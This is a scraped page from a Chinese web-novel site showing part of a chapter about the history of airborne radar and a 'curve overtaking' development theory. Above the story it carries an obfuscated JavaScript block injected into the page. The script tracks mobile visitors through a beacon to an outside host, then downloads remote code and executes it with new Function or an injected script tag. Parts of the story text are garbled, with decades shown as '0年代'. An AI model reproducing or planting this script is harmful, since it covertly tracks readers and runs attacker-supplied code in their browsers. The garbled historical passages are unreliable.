足迹
重生70年代周扬李幼薇免费阅读小说
登录
关灯
护眼
字体:

第387章:弯道超车理论(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

这一点在机载雷达上表现得最为突出,也最具典型性。

其实国内的机载雷达的起点并不低,建国初期,我国从苏联获得了一批米格-7和米格-9,空军就在这些家底上起步了,同样机载雷达事业也就此起步。藲夿尛裞網

就当时的技术来说,不管米格-7还是米格-9,还是这两款战机装备的雷达测距器,都属于世界先进水平,对比同时期漂亮国的技术也不落后。

不过,这种局面也仅仅保持了一段时间,到了0年代,世界机载雷达便进入高速发展阶段,而漂亮国早在0年代就已经抛弃了雷达测距仪。

虽然我国当时也开始对机载雷达进行研制,但奈何家底薄弱,机载雷达研发一直不顺利。当时,能拿的出手的雷达产品也就是米格-9P夜间截击机上的RP-型机载雷达,以及其仿制型CL-l型。

受机载雷达的影响,在我国推出歼-7Ⅲ和歼-8Ⅱ两款全天候战机以前,空军战机一直分为白天型和夜间型,而漂亮国早在0年代就已经广泛装备具有成熟雷达系统的全天候战斗机。

虽然国内早在0年代中期就提出了歼-8全天候型的要求,但是由于雷达技术的限制,歼-8进度一拖再拖,70年代末歼-8项目只能装备雷达测距器以白天型定型。

而歼-8战斗机的204型单脉冲火力控制雷达的定型工作,在八十年代中期才基本完成,装备204雷达的改进型歼-8被命名为歼-8Ⅰ,这才算真正达到了1964年提出的技术要求。

可以说,我国雷达系统的起步,在单脉冲雷达阶段就已经整整落后了西方20多年。

到了70年代,当我国还在与单脉冲雷达较劲时,西方国家已经基本淘汰了单脉冲雷达,开始研究更先进的平板缝隙天线和脉冲多普勒技术。

此时,我国连单脉冲雷达都还没有成熟产品,至于多普勒雷达,我国科研人员更是连原理都没有搞清楚。

可以说,因为发展理念的问题,我们走了很多弯路,也浪费了很多时间。

而周扬的话也让范德彪陷入了沉思,虽然他总觉得周扬这话有问题,但是又觉得确实有些道理。

略作思索,他当即问道:“那依周扬同志你的想法,我们该怎么办?”

“其实不管是雷达还是其它东西,我们的主要目的都是缩短和对手的距离,并最终实现超越,对不对?”

“对!”

“但是我们现在绝大多数的单位或者是研究所、项目部的思维并不是超越,而是追赶,这一点我说的没错吧?”

“没错!”

“因此,我们虽然这些年也取得了一些成果,但实际上整体上还是被人家西方国家甩的很远,所以我们必须树立新的思维——弯道超车!”周扬道。

“弯道超车?”

“嗯,弯道超车是赛车运动中的一个常见现象,意思是利用弯道超越对方,即在一些关键点上实现突破,最终超越对手。”周扬解释道。

“但这个关键在哪里?”

“新技术,在新技术方面追赶对手,并取得突破!”周扬道。

这个道理国内是在好多年后才明白的,比如说新能源,比如说超高压以及高铁等等。

而听到周扬说的这些,范德彪虽然有些懵,但是却觉得似乎很有道理。

当下,他准备再和周扬深入的聊一聊这个想法的时候,却发现周扬竟然转过了身子,然后拿出稿纸和笔,开始翻译起了稿子。

这下子整的范德彪有些不上不下的,不带这样玩儿的!

都说好人不说半句话,你这样子实在是不太友好啊!

有心开口继续询问,又怕打扰到周扬!

不问吧,心里却又猫抓一样难受。

殊不知,这正是周扬想要达到的效果。

浅尝辄止,说话就说半句,勾起了他的兴趣就不再说了。

来日方长,这事儿慢慢来!